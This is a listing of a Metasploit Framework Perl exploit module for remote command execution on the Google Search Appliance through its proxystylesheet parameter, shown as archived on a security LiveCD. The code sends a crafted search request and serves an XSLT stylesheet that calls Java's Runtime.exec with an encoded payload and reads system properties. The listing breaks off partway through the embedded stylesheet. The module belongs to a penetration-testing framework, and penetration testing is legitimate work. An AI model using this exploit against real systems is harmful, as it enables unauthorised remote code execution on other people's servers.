home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / google_proxystylesheet_exec.pm < prev    next >
Text File  |  2006-06-30  |  110KB  |  2,855 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::google_proxystylesheet_exec;
  11.  
  12. use strict;
  13. use base "Msf::Exploit";
  14. use Pex::Text;
  15. use IO::Socket;
  16. use IO::Select;
  17. my $advanced = { };
  18.  
  19. my $info =
  20. {
  21.     'Name'           => 'Google Appliance ProxyStyleSheet Command Execution',
  22.     'Version'        => '$Revision: 1.2 $',
  23.     'Authors'        => [ 'H D Moore <hdm [at] metasploit.com>' ],
  24.     
  25.     'Description'    => 
  26.         Pex::Text::Freeform(qq{
  27.             This module exploits a feature in the Saxon XSLT parser used by
  28.         the Google Search Appliance. This feature allows for arbitrary
  29.         java methods to be called. Google released a patch and advisory to 
  30.         their client base in August of 2005 (GA-2005-08-m). The target appliance
  31.         must be able to connect back to your machine for this exploit to work.
  32.         }),
  33.         
  34.     'Arch'           => [ ],
  35.     'OS'             => [ ],
  36.     'Priv'           => 0,
  37.     'UserOpts'       => 
  38.         {
  39.             'RHOST'    => [ 1, 'HOST', 'The address of the Google appliance'],
  40.             'RPORT'    => [ 1, 'PORT', 'The port used by the search interface', 80],
  41.             'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080      ],
  42.             'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
  43.             'HTTPADDR' => [ 0, 'HOST', 'The address that can be used to connect back to this system'],
  44.         },
  45.     'Payload'        => 
  46.         {
  47.             'Space'    => 1024,
  48.             'Keys'     => [ 'cmd' ],
  49.         },
  50.     'Refs'           => 
  51.         [
  52.             ['OSVDB', 20981],
  53.         ],
  54.     'DefaultTarget'  => 0,
  55.     'Targets'        =>
  56.         [
  57.             [ 'Google Search Appliance']
  58.         ],
  59.     'Keys'           => [ 'google' ],
  60.  
  61.     'DisclosureDate' => 'Aug 16 2005',
  62. };
  63.  
  64. sub new
  65. {
  66.     my $class = shift;
  67.     my $self;
  68.     
  69.     $self = $class->SUPER::new(
  70.             { 
  71.                 'Info'     => $info,
  72.                 'Advanced' => $advanced,
  73.             },
  74.             @_);
  75.  
  76.     return $self;
  77. }
  78.  
  79. sub Check {
  80.     my $self = shift;
  81.     my $s = $self->ConnectSearch;
  82.     
  83.     if (! $s) {
  84.         return $self->CheckCode('Connect');
  85.     }
  86.     
  87.     my $url =
  88.         "/search?client=". Pex::Text::AlphaNumText(int(rand(15))+1). "&".
  89.         "site=".Pex::Text::AlphaNumText(int(rand(15))+1)."&".
  90.         "output=xml_no_dtd&".
  91.         "q=".Pex::Text::AlphaNumText(int(rand(15))+1)."&".
  92.         "proxystylesheet=http://".Pex::Text::AlphaNumText(int(rand(32))+1)."/";
  93.     
  94.     $s->Send("GET $url HTTP/1.0\r\n\r\n");
  95.     my $page = $s->Recv(-1, 5);
  96.     $s->Close;
  97.  
  98.     if ($page =~ /cannot be resolved to an ip address/) {
  99.         $self->PrintLine("[*] This system appears to be vulnerable >:-)");
  100.         return $self->CheckCode('Confirmed');
  101.     }
  102.     
  103.     if ($page =~ /ERROR: Unable to fetch the stylesheet/) {
  104.         $self->PrintLine("[*] This system appears to be patched");
  105.     }
  106.     
  107.     $self->PrintLine("[*] This system does not appear to be vulnerable");
  108.     return $self->CheckCode('Safe');    
  109. }
  110.  
  111.  
  112. sub Exploit
  113. {
  114.     my $self = shift;
  115.     my ($s, $page);
  116.     
  117.     # Request the index page to obtain a redirect response
  118.     $s = $self->ConnectSearch || return;
  119.     $s->Send("GET / HTTP/1.0\r\n\r\n");
  120.     $page = $s->Recv(-1, 5);
  121.     $s->Close;
  122.  
  123.     # Parse the redirect to get the client and site values
  124.     my ($goog_site, $goog_clnt) = $page =~ m/^location.*site=([^\&]+)\&.*client=([^\&]+)\&/im;
  125.     if (! $goog_site || ! $goog_clnt) {
  126.         $self->PrintLine("[*] Invalid response to our request, is this a Google appliance?");
  127.         return;
  128.     }
  129.  
  130.     # Create the listening local socket that will act as our HTTP server
  131.     my $lis = IO::Socket::INET->new(
  132.             LocalHost => $self->GetVar('HTTPHOST'),
  133.             LocalPort => $self->GetVar('HTTPPORT'),
  134.             ReuseAddr => 1,
  135.             Listen    => 1,
  136.             Proto     => 'tcp');
  137.     
  138.     if (not defined($lis)) {
  139.         $self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
  140.         return;
  141.     }
  142.     my $sel = IO::Select->new($lis);
  143.     
  144.     # Send a search request with our own address in the proxystylesheet parameter
  145.     my $query = Pex::Text::AlphaNumText(int(rand(32))+1);
  146.     
  147.     my $proxy =
  148.         "http://".
  149.         ($self->GetVar('HTTPADDR') || Pex::Utils::SourceIP($self->GetVar('RHOST'))).
  150.         ":".$self->GetVar('HTTPPORT')."/".Pex::Text::AlphaNumText(int(rand(15))+1).".xsl";
  151.     
  152.     my $url = 
  153.         "/search?client=". $goog_clnt ."&site=". $goog_site .
  154.         "&output=xml_no_dtd&proxystylesheet=". $proxy .
  155.         "&q=". $query ."&proxyreload=1";
  156.  
  157.     $self->PrintLine("[*] Sending our malicious search request...");
  158.     $s = $self->ConnectSearch || return;
  159.     $s->Send("GET $url HTTP/1.0\r\n\r\n");
  160.     $page = $s->Recv(-1, 3);
  161.     $s->Close;
  162.  
  163.     $self->PrintLine("[*] Listening for connections to http://" . $self->GetVar('HTTPHOST') . ":" . $self->GetVar('HTTPPORT') . " ...");
  164.     
  165.     # Did we receive a connection?
  166.     my @r = $sel->can_read(30);
  167.     
  168.     if (! @r) {
  169.         $self->PrintLine("[*] No connection received from the search engine, possibly patched.");
  170.         $lis->close;
  171.         return;
  172.     }
  173.  
  174.     my $c = $lis->accept();
  175.     if (! $c) {
  176.         $self->PrintLine("[*] No connection received from the search engine, possibly patched.");
  177.         $lis->close;
  178.         return;    
  179.     }
  180.  
  181.     my $cli = Msf::Socket::Tcp->new_from_socket($c);
  182.     $self->PrintLine("[*] Connection received from ".$cli->PeerAddr."...");    
  183.     $self->ProcessHTTP($cli);
  184.     return;
  185. }
  186.  
  187. sub ConnectSearch {
  188.     my $self = shift;
  189.     my $s = Msf::Socket::Tcp->new(
  190.         'PeerAddr' => $self->GetVar('RHOST'),
  191.         'PeerPort' => $self->GetVar('RPORT'),
  192.         'SSL'      => $self->GetVar('SSL')
  193.     );
  194.     
  195.     if ($s->IsError) {
  196.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  197.         return;
  198.     }
  199.     return $s;
  200. }
  201.  
  202. sub ProcessHTTP
  203. {
  204.     my $self = shift;
  205.     my $cli  = shift;
  206.     my $targetIdx = $self->GetVar('TARGET');
  207.     my $target    = $self->Targets->[$targetIdx];
  208.     my $ret       = $target->[1];
  209.     my $shellcode = $self->GetVar('EncodedPayload')->Payload;
  210.     my $content;
  211.     my $rhost;
  212.     my $rport;
  213.  
  214.     # Read the first line of the HTTP request
  215.     my ($cmd, $url, $proto) = split(/ /, $cli->RecvLine(10));
  216.  
  217.     # The way we call Runtime.getRuntime().exec, Java will split
  218.     # our string on whitespace. Since we are injecting via XSLT,
  219.     # inserting quotes becomes a huge pain, so we do this...
  220.     my $exec_str = 
  221.         '/usr/bin/perl -e system(pack(qq{H*},qq{' .
  222.         unpack("H*", $self->GetVar('EncodedPayload')->RawPayload).
  223.         '}))';
  224.  
  225.     # Load the template from our data section, we have to manually
  226.     # seek and reposition to allow the exploit to be used more
  227.     # than once without a reload.
  228.     seek(DATA, 0, 0);
  229.     while(<DATA>) { last if /^__DATA__$/ }
  230.     while(<DATA>) {    $content .= $_ }
  231.  
  232.     # Insert our command line
  233.     $content =~ s/:x:MSF:x:/$exec_str/;
  234.     
  235.     # Send it to the requesting appliance
  236.     $rport = $cli->PeerPort;
  237.     $rhost = $cli->PeerAddr;
  238.     $self->PrintLine("[*] HTTP Client connected from $rhost, sending XSLT...");
  239.     
  240.     my $res = "HTTP/1.1 200 OK\r\n" .
  241.               "Content-Type: text/html\r\n" .
  242.               "Content-Length: " . length($content) . "\r\n" .
  243.               "Connection: close\r\n" .
  244.               "\r\n" .
  245.               $content;
  246.  
  247.     $self->PrintLine("[*] Sending ".length($res)." bytes...");
  248.     $cli->Send($res);
  249.     $cli->Close;
  250. }
  251.  
  252. 1;
  253.  
  254. # The default Google Mini style sheet is included below, with a few modifications to
  255. # the my_page_footer template.
  256. __DATA__
  257. <!-- *** START OF STYLESHEET *** -->
  258.  
  259. <!-- **********************************************************************
  260.  XSL to format the search output for Google Search Appliance 
  261.      ********************************************************************** -->
  262. <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
  263. <xsl:output method="html"/>
  264.  
  265. <!-- **********************************************************************
  266.  Logo setup (can be customized)
  267.      - whether to show logo: 0 for FALSE, 1 (or non-zero) for TRUE
  268.      - logo url 
  269.      - logo size: '' for default image size
  270.      ********************************************************************** -->
  271. <xsl:variable name="show_logo">1</xsl:variable>
  272. <xsl:variable name="logo_url">images/Title_Left.gif</xsl:variable>
  273. <xsl:variable name="logo_width">200</xsl:variable>
  274. <xsl:variable name="logo_height">78</xsl:variable>
  275.  
  276. <!-- **********************************************************************
  277.  Global Style variables (can be customized): '' for using browser's default
  278.      ********************************************************************** -->
  279.  
  280. <xsl:variable name="global_font">arial,sans-serif</xsl:variable>
  281. <xsl:variable name="global_font_size"></xsl:variable>
  282. <xsl:variable name="global_bg_color">#ffffff</xsl:variable> 
  283. <xsl:variable name="global_text_color">#000000</xsl:variable> 
  284. <xsl:variable name="global_link_color">#0000cc</xsl:variable> 
  285. <xsl:variable name="global_vlink_color">#551a8b</xsl:variable> 
  286. <xsl:variable name="global_alink_color">#ff0000</xsl:variable> 
  287.  
  288.  
  289. <!-- **********************************************************************
  290.  Result page components (can be customized)
  291.      - whether to show a component: 0 for FALSE, non-zero (e.g., 1) for TRUE
  292.      - text and style
  293.      ********************************************************************** -->
  294.  
  295. <!-- *** choose result page header: '', 'provided', 'mine', or 'both' *** -->
  296. <xsl:variable name="choose_result_page_header">both</xsl:variable>
  297.  
  298. <!-- *** customize provided result page header *** -->
  299. <xsl:variable name="show_result_page_adv_link">1</xsl:variable>
  300. <xsl:variable name="adv_search_anchor_text">Advanced Search</xsl:variable>
  301. <xsl:variable name="show_result_page_help_link">1</xsl:variable>
  302. <xsl:variable name="search_help_anchor_text">Search Tips</xsl:variable>
  303.  
  304. <!-- *** search boxes *** -->
  305. <xsl:variable name="show_top_search_box">1</xsl:variable>
  306. <xsl:variable name="show_bottom_search_box">1</xsl:variable>
  307. <xsl:variable name="search_box_size">32</xsl:variable>
  308.  
  309. <!-- *** choose search button type: 'text' or 'image' *** -->
  310. <xsl:variable name="choose_search_button">text</xsl:variable>
  311. <xsl:variable name="search_button_text">Google Search</xsl:variable>
  312. <xsl:variable name="search_button_image_url"></xsl:variable>
  313. <xsl:variable name="search_subcollections_xslt"></xsl:variable>
  314.  
  315. <!-- *** search info bars *** -->
  316. <xsl:variable name="show_search_info">1</xsl:variable>
  317.  
  318. <!-- *** choose separation bar: 'blue', 'line', 'nothing' *** -->
  319. <xsl:variable name="choose_sep_bar">blue</xsl:variable>
  320.  
  321. <!-- *** navigation bars: '', 'google', 'link', or 'simple'*** -->
  322. <xsl:variable name="show_top_navigation">0</xsl:variable>
  323. <xsl:variable name="choose_bottom_navigation">google</xsl:variable>
  324. <xsl:variable name="my_nav_align">right</xsl:variable>
  325. <xsl:variable name="my_nav_size">-1</xsl:variable>
  326. <xsl:variable name="my_nav_color">#6f6f6f</xsl:variable>
  327.  
  328. <!-- *** sort by date/relevance *** -->
  329. <xsl:variable name="show_sort_by">0</xsl:variable>
  330.  
  331. <!-- *** spelling suggestions *** -->
  332. <xsl:variable name="show_spelling">1</xsl:variable>
  333. <xsl:variable name="spelling_text">Did you mean:</xsl:variable>
  334. <xsl:variable name="spelling_text_color">#cc0000</xsl:variable>
  335.  
  336. <!-- *** synonyms suggestions *** -->
  337. <xsl:variable name="show_synonyms">1</xsl:variable>
  338. <xsl:variable name="synonyms_text">You could also try:</xsl:variable>
  339. <xsl:variable name="synonyms_text_color">#cc0000</xsl:variable>
  340.  
  341. <!-- *** keymatch suggestions *** -->
  342. <xsl:variable name="show_keymatch">1</xsl:variable>
  343. <xsl:variable name="keymatch_text">KeyMatch</xsl:variable>
  344. <xsl:variable name="keymatch_text_color">#2255aa</xsl:variable>
  345. <xsl:variable name="keymatch_bg_color">#e8e8ff</xsl:variable>
  346.  
  347. <!-- **********************************************************************
  348.  Result elements (can be customized)
  349.      - whether to show an element ('1' for yes, '0' for no)
  350.      - font/size/color ('' for using style of the context)
  351.      ********************************************************************** -->
  352.  
  353. <!-- *** result title and snippet *** -->
  354. <xsl:variable name="show_res_title">1</xsl:variable>
  355. <xsl:variable name="res_title_color">#0000cc</xsl:variable>
  356. <xsl:variable name="res_title_size"></xsl:variable>
  357. <xsl:variable name="show_res_snippet">1</xsl:variable>
  358. <xsl:variable name="res_snippet_size">80%</xsl:variable>
  359.  
  360. <!-- *** keyword match (in title or snippet) *** -->
  361. <xsl:variable name="res_keyword_color"></xsl:variable>
  362. <xsl:variable name="res_keyword_size"></xsl:variable>
  363. <xsl:variable name="res_keyword_format">b</xsl:variable> <!-- 'b' for bold -->
  364.  
  365. <!-- *** link URL *** -->
  366. <xsl:variable name="show_res_url">1</xsl:variable>
  367. <xsl:variable name="res_url_color">#008000</xsl:variable>
  368. <xsl:variable name="res_url_size">-1</xsl:variable>
  369.  
  370. <!-- *** misc elements *** -->
  371. <xsl:variable name="show_res_description">1</xsl:variable>
  372. <xsl:variable name="show_res_size">1</xsl:variable>
  373. <xsl:variable name="show_res_date">1</xsl:variable>
  374. <xsl:variable name="show_res_cache">1</xsl:variable>
  375.  
  376. <!-- *** used in result cache link, similar pages link, and description *** -->
  377. <xsl:variable name="faint_color">#6f6f6f</xsl:variable> 
  378.  
  379. <!-- *** show secure results radio button *** -->
  380. <xsl:variable name="show_secure_radio">0</xsl:variable>
  381.  
  382. <!-- **********************************************************************
  383.  Other variables (can be customized)
  384.      ********************************************************************** -->
  385.  
  386. <!-- *** page title *** -->
  387. <xsl:variable name="front_page_title">Search Home</xsl:variable>
  388. <xsl:variable name="result_page_title">Search Results</xsl:variable>
  389. <xsl:variable name="adv_page_title">Advanced Search</xsl:variable>
  390. <xsl:variable name="error_page_title">Error</xsl:variable>
  391.  
  392. <!-- *** choose adv_search page header: '', 'provided', 'mine', or 'both' *** -->
  393. <xsl:variable name="choose_adv_search_page_header">both</xsl:variable>
  394.  
  395. <!-- *** cached page header text *** -->
  396. <xsl:variable name="cached_page_header_text">This is the cached copy of </xsl:variable>
  397.  
  398. <!-- *** error message text *** -->
  399. <xsl:variable name="xml_error_msg_text">Unknown XML result type.</xsl:variable>
  400. <xsl:variable name="xml_error_des_text">View page source to see the offending XML.</xsl:variable>
  401.  
  402. <!-- *** advanced search page panel background color *** -->
  403. <xsl:variable name="adv_search_panel_bgcolor">#cbdced</xsl:variable> 
  404.  
  405.  
  406. <!-- **********************************************************************
  407.  My global page header/footer (can be customized)
  408.      ********************************************************************** -->
  409. <xsl:template name="my_page_header">
  410.   <!-- *** replace the following with your own xhtml code or replace the text 
  411.    between the xsl:text tags with html escaped html code *** -->
  412.   <xsl:text disable-output-escaping="yes"> <!-- Please enter html code below. --></xsl:text>
  413. </xsl:template>
  414.  
  415. <xsl:template 
  416.     name="my_page_footer"
  417.     xmlns:sys="http://www.oracle.com/XSL/Transform/java/java.lang.System"
  418.     xmlns:run="http://www.oracle.com/XSL/Transform/java/java.lang.Runtime"
  419. >
  420.  
  421. <!-- Google XSLT Code Execution [metasploit] -->
  422.  
  423. XSLT Version: <xsl:value-of select="system-property('xsl:version')"/> <br />
  424. XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> <br />
  425. XSLT URL: <xsl:value-of select="system-property('xsl:vendor-url')" /> <br />
  426. OS: <xsl:value-of select="sys:getProperty('os.name')" /> <br />
  427. Version: <xsl:value-of select="sys:getProperty('os.version')" /> <br />
  428. Arch: <xsl:value-of select="sys:getProperty('os.arch')" /> <br />
  429. UserName: <xsl:value-of select="sys:getProperty('user.name')" /> <br />
  430. UserHome: <xsl:value-of select="sys:getProperty('user.home')" /> <br />
  431. UserDir: <xsl:value-of select="sys:getProperty('user.dir')" /> <br />
  432.  
  433. Executing command...<br />
  434. <xsl:value-of select="run:exec(run:getRuntime(), ':x:MSF:x:')" />
  435.  
  436.     <xsl:text disable-output-escaping="yes"> <!-- Please enter html code below. --></xsl:text>
  437.   </span>
  438. </xsl:template>
  439.  
  440.  
  441. <!-- **********************************************************************
  442.  Logo template (can be customized)
  443.      ********************************************************************** -->
  444. <xsl:template name="logo">
  445.     <a href="{$home_url}"><img src="{$logo_url}" 
  446.       width="{$logo_width}" height="{$logo_height}"
  447.       alt="Go to Search Home" border="0" /></a>
  448. </xsl:template>
  449.  
  450.  
  451. <!-- **********************************************************************
  452.  Search result page header (can be customized): logo and search box
  453.      ********************************************************************** -->
  454. <xsl:template name="result_page_header">
  455.     <table border="0" cellpadding="0" cellspacing="0">
  456.       <tr>
  457.     <xsl:if test="$show_logo != '0'">
  458.       <td rowspan="3" valign="top">
  459.             <xsl:call-template name="logo"/>
  460.             <xsl:call-template name="nbsp3"/>
  461.           </td>
  462.     </xsl:if>
  463.         <td nowrap="1">
  464.           <font size="-1">
  465.         <xsl:if test="$show_result_page_adv_link != '0'">
  466.               <a href="{$adv_search_url}">
  467.                 <xsl:value-of select="$adv_search_anchor_text"/>
  468.               </a>
  469.               <xsl:call-template name="nbsp4"/>
  470.         </xsl:if>
  471.         <xsl:if test="$show_result_page_help_link != '0'">
  472.               <a href="{$help_url}">
  473.                 <xsl:value-of select="$search_help_anchor_text"/>
  474.               </a>
  475.         </xsl:if>
  476.             <br/>
  477.           </font>
  478.         </td>
  479.       </tr>
  480.       <xsl:if test="$show_top_search_box != '0'">
  481.         <tr>
  482.           <td valign="middle">
  483.             <xsl:call-template name="search_box"/>
  484.           </td>
  485.         </tr>
  486.       </xsl:if>
  487.       <xsl:if test="/GSP/CT">
  488.     <tr>
  489.           <td valign="top">
  490.             <br/>
  491.             <xsl:call-template name="stopwords"/>
  492.             <br/>
  493.           </td>
  494.         </tr>
  495.       </xsl:if>
  496.     </table>
  497. </xsl:template>
  498.  
  499.  
  500. <!-- **********************************************************************
  501.  Separation bar variables (used in advanced search header and result page)
  502.      ********************************************************************** -->
  503. <xsl:variable name="sep_bar_bg_color">
  504.   <xsl:choose>
  505.     <xsl:when test="$choose_sep_bar = 'blue'">#3366cc</xsl:when>
  506.     <xsl:otherwise><xsl:value-of select="$global_bg_color"/></xsl:otherwise>
  507.   </xsl:choose>
  508. </xsl:variable>
  509.  
  510. <xsl:variable name="sep_bar_text_color">
  511.   <xsl:choose>
  512.     <xsl:when test="$choose_sep_bar = 'blue'">#ffffff</xsl:when>
  513.     <xsl:otherwise><xsl:value-of select="$global_text_color"/></xsl:otherwise>
  514.   </xsl:choose>
  515. </xsl:variable>
  516.  
  517.  
  518. <!-- **********************************************************************
  519.  Advanced search page header HTML (can be customized)
  520.      ********************************************************************** -->
  521. <xsl:template name="advanced_search_header">
  522.       <table width="99%" border="0" cellpadding="0" cellspacing="2">
  523.         <tr>          
  524.         <xsl:if test="$show_logo != '0'">
  525.           <td rowspan="2" width="1%">
  526.             <table cellpadding="0" cellspacing="0" border="0">
  527.               <tr>
  528.                 <td align="right" valign="bottom">
  529.         <xsl:call-template name="logo"/></td>
  530.               </tr>
  531.             </table>
  532.           </td>
  533.         </xsl:if>
  534.  
  535.           <td valign="bottom" align="right"><font size="-1" class="p"></font></td>
  536.         </tr>
  537.  
  538.         <tr>
  539.           <td valign="middle">
  540.             <table cellspacing="2" cellpadding="2" border="0" width="100%">
  541.               <tr bgcolor="{$sep_bar_bg_color}">
  542.                 <td><font face="{$global_font}" color="{$sep_bar_text_color}">
  543.                       <b><xsl:call-template name="nbsp"/>
  544.                          <xsl:value-of select="$adv_page_title"/></b>
  545.                     </font>
  546.                 </td>
  547.               </tr>
  548.             </table>
  549.           </td>
  550.         </tr>
  551.       </table>
  552. </xsl:template>
  553.  
  554.  
  555. <!-- **********************************************************************
  556.  Cached page header (can be customized)
  557.      ********************************************************************** -->
  558. <xsl:template name="cached_page_header">
  559.   <xsl:param name="cached_page_url"/>
  560.  
  561. <table border="1" width="100%">
  562.   <tr>
  563.     <td>
  564.       <table border="1" width="100%" cellpadding="10" cellspacing="0" 
  565.         bgcolor="{$global_bg_color}" color="{$global_bg_color}">
  566.         <tr>
  567.           <td>
  568.             <font face="{$global_font}" color="{$global_text_color}" size="-1">
  569.               <xsl:value-of select="$cached_page_header_text"/>
  570.             <a href="{$cached_page_url}"><font color="{$global_link_color}">
  571.               <xsl:value-of select="$cached_page_url"/></font></a>.<br/>
  572.             </font>
  573.           </td>
  574.         </tr>
  575.       </table>
  576.     </td>
  577.   </tr>
  578. </table>
  579. <hr/>
  580. </xsl:template>
  581.  
  582.  
  583. <!-- **********************************************************************
  584.  "Front door" search input page (can be customized)
  585.      ********************************************************************** -->
  586. <xsl:template name="front_door">
  587. <html>
  588.   <xsl:call-template name="langHeadStart"/>
  589.     <title><xsl:value-of select="$front_page_title"/></title>
  590.   <xsl:call-template name="style"/>
  591.   <xsl:call-template name="langHeadEnd"/>
  592.  
  593.   <body>
  594.   
  595.   <xsl:call-template name="my_page_header"/>
  596.   <xsl:call-template name="result_page_header"/>
  597.   <hr/>
  598.   <xsl:call-template name="copyright"/>
  599.   <xsl:call-template name="my_page_footer"/>
  600.  
  601.   </body>
  602. </html>
  603. </xsl:template>
  604.  
  605.  
  606. <!-- **********************************************************************
  607.  Empty result set (can be customized)
  608.      ********************************************************************** -->
  609. <xsl:template name="no_RES">
  610.   <xsl:param name="query"/>
  611.   <span class="p">
  612.   <br/>
  613.   Your search - <b><xsl:value-of disable-output-escaping="yes" 
  614.   select="$query"/></b> - did not match any documents.
  615.   <br/>
  616.   No pages were found containing <b>"<xsl:value-of 
  617.   disable-output-escaping="yes" select="$query"/>"</b>.
  618.   <br/>
  619.   <br/>
  620.   Suggestions:
  621.   <ul>
  622.     <li>Make sure all words are spelled correctly.</li>
  623.     <li>Try different keywords.</li>
  624.     <li>Try more general keywords.</li>
  625.   </ul>
  626.   </span>
  627. </xsl:template>
  628.  
  629.  
  630. <!-- ######################################################################
  631.  We do not recommend changes to the following code.  Google Technical
  632.  Support Personnel currently do not support customization of XSLT under
  633.  these Technical Support Services Guidelines.  Such services may be
  634.  provided on a consulting basis, at Google's then-current consulting
  635.  services rates under a separate agreement, if Google personnel are
  636.  available.  Please ask your Google Account Manager for more details if
  637.  you are interested in purchasing consulting services.
  638.      ###################################################################### -->
  639.  
  640.  
  641. <!-- **********************************************************************
  642.  Global Style (do not customize)
  643.     default font type/size/color, background color, link color
  644.      using HTML CSS (Cascading Style Sheets)
  645.      ********************************************************************** -->
  646. <xsl:template name="style">
  647. <style>
  648. <xsl:comment>
  649. body,.d,.p,.s{background-color:<xsl:value-of select="$global_bg_color"/>}
  650. body,td,div,.p,a,.d,.s{font-family:<xsl:value-of select="$global_font"/>}
  651. body,td,div,.p,a,.d{font-size: <xsl:value-of select="$global_font_size"/>}
  652. body,div,td,.p,.s{color:<xsl:value-of select="$global_text_color"/>}
  653. .s,.f,.f a{font-size: <xsl:value-of select="$res_snippet_size"/>}
  654. .l{font-size: <xsl:value-of select="$res_title_size"/>}
  655. .l{color: <xsl:value-of select="$res_title_color"/>}
  656. a:link,.w,.w a:link{color:<xsl:value-of select="$global_link_color"/>}
  657. a:visited,.f a:visited{color:<xsl:value-of select="$global_vlink_color"/>}
  658. a:active,.f a:active{color:<xsl:value-of select="$global_alink_color"/>}
  659. .t{color:<xsl:value-of select="$sep_bar_text_color"/>}
  660. .t{background-color:<xsl:value-of select="$sep_bar_bg_color"/>}
  661. .z{display:none}
  662. .f,.f:link,.f a:link{color:<xsl:value-of select="$faint_color"/>}
  663. .i,.i:link{color:#a90a08}
  664. .a,.a:link{color:<xsl:value-of select="$res_url_color"/>}
  665. div.n {margin-top: 1ex}
  666. .n a{font-size: 10pt; color:<xsl:value-of select="$global_text_color"/>}
  667. .n .i{font-size: 10pt; font-weight:bold}
  668. .q a:visited,.q a:link,.q a:active,.q {text-decoration: none; color:#0000cc;}
  669. .b,.b a{font-size: 12pt; color:#0000cc; font-weight:bold}
  670. .d{font-family:<xsl:value-of select="$global_font"/>; 
  671.    margin-right:1em; margin-left:1em;}
  672. </xsl:comment>
  673. </style>
  674. </xsl:template>
  675.  
  676.  
  677. <!-- **********************************************************************
  678.  URL variables (do not customize)
  679.      ********************************************************************** -->
  680.  
  681. <!-- *** help_url: search tip URL (html file) *** -->
  682. <xsl:variable name="help_url">/basics.html</xsl:variable>
  683.  
  684. <!-- *** base_url: collection info *** -->
  685. <xsl:variable name="base_url"><xsl:for-each 
  686.   select="/GSP/PARAM[@name = 'client' or
  687.                      @name = 'site' or 
  688.                      @name = 'num' or
  689.                      @name = 'output' or
  690.                      @name = 'proxystylesheet' or
  691.                      @name = 'sitesearch' or
  692.                      @name = 'access' or
  693.                  (@name = 'restrict' and 
  694.               $search_subcollections_xslt = '') or
  695.                      @name = 'lr' or
  696.                      @name = 'ie' or
  697.                      @name = 'oe']"><xsl:value-of select="@name"
  698.   />=<xsl:value-of select="@original_value"
  699.   /><xsl:if test="position() != last()">&</xsl:if></xsl:for-each>
  700. </xsl:variable>
  701.  
  702. <!-- *** home_url: /search? + collection info + &proxycustom=<HOME/> *** -->
  703. <xsl:variable name="home_url">/search?<xsl:value-of select="$base_url"
  704.   />&proxycustom=<HOME/></xsl:variable>
  705.  
  706. <!-- *** nav_url: does not include q, as_, start elements *** -->
  707. <xsl:variable name="nav_url"><xsl:for-each 
  708.   select="/GSP/PARAM[(@name != 'q') and
  709.              not(contains(@name, 'as_')) and
  710.                      (@name != 'start')]">
  711.     <xsl:value-of select="@name"/><xsl:text>=</xsl:text>
  712.     <xsl:value-of select="@original_value"/>
  713.     <xsl:if test="position() != last()">
  714.       <xsl:text disable-output-escaping="yes">&</xsl:text>
  715.     </xsl:if>
  716.   </xsl:for-each>
  717. </xsl:variable>
  718.  
  719. <!-- *** synonym_url: does not include q, as_q, and start elements *** -->
  720. <xsl:variable name="synonym_url"><xsl:for-each 
  721.   select="/GSP/PARAM[(@name != 'q') and
  722.              (@name != 'as_q') and
  723.                      (@name != 'start')]">
  724.     <xsl:value-of select="@name"/><xsl:text>=</xsl:text>
  725.     <xsl:value-of select="@original_value"/>
  726.     <xsl:if test="position() != last()">
  727.       <xsl:text disable-output-escaping="yes">&</xsl:text>
  728.     </xsl:if>
  729.   </xsl:for-each>
  730. </xsl:variable>
  731.  
  732. <!-- *** search_url: $nav_url + query elements *** -->
  733. <xsl:variable name="search_url"><xsl:for-each
  734.   select="/GSP/PARAM[(@name != 'start')]">
  735.     <xsl:value-of select="@name"/><xsl:text>=</xsl:text>
  736.     <xsl:value-of select="@original_value"/>
  737.     <xsl:if test="position() != last()">
  738.       <xsl:text disable-output-escaping="yes">&</xsl:text>
  739.     </xsl:if>
  740.   </xsl:for-each>
  741. </xsl:variable>
  742.  
  743. <!-- *** filter_url: everything except resetting "filter=" *** -->
  744. <xsl:variable name="filter_url">/search?<xsl:for-each 
  745.   select="/GSP/PARAM[(@name != 'filter')]">
  746.     <xsl:value-of select="@name"/><xsl:text>=</xsl:text>
  747.     <xsl:value-of select="@original_value"/>
  748.     <xsl:text disable-output-escaping="yes">&</xsl:text>
  749.   </xsl:for-each><xsl:text>filter=</xsl:text>
  750. </xsl:variable>
  751.  
  752. <!-- *** adv_search_url: /search? + $search_url + as_q=$q *** -->
  753. <xsl:variable name="adv_search_url">/search?<xsl:value-of 
  754.   select="$search_url"/>&proxycustom=<ADVANCED/></xsl:variable>
  755.  
  756. <!-- **********************************************************************
  757.  Search Parameters (do not customize)
  758.      ********************************************************************** -->
  759.  
  760. <!-- *** num_results: actual num_results per page *** -->
  761. <xsl:variable name="num_results">
  762.   <xsl:choose>
  763.     <xsl:when test="/GSP/PARAM[(@name='num') and (@value!='')]">
  764.       <xsl:value-of select="/GSP/PARAM[@name='num']/@value"/>
  765.     </xsl:when>
  766.     <xsl:otherwise>
  767.       <xsl:value-of select="10"/>
  768.     </xsl:otherwise>
  769.   </xsl:choose>
  770. </xsl:variable>
  771.  
  772. <!-- *** form_params: parameters carried by the search input form *** -->
  773. <xsl:template name="form_params">
  774.   <xsl:for-each 
  775.     select="PARAM[@name != 'q' and 
  776.                   not(contains(@name, 'as_')) and 
  777.                   @name != 'btnG' and 
  778.                   @name != 'btnI' and
  779.                   @name != 'filter' and
  780.                   @name != 'start' and
  781.           @name != 'access' and
  782.                   @name != 'ip']">
  783.     <xsl:if test="@name != 'restrict' or $search_subcollections_xslt = ''">
  784.       <input type="hidden" name="{@name}" value="{@value}" />
  785.     </xsl:if>
  786.     <xsl:text>
  787.     </xsl:text>
  788.   </xsl:for-each>
  789. </xsl:template>
  790.  
  791. <!-- *** html_escaped_query: q = /GSP/Q *** -->
  792. <xsl:variable name="qval">
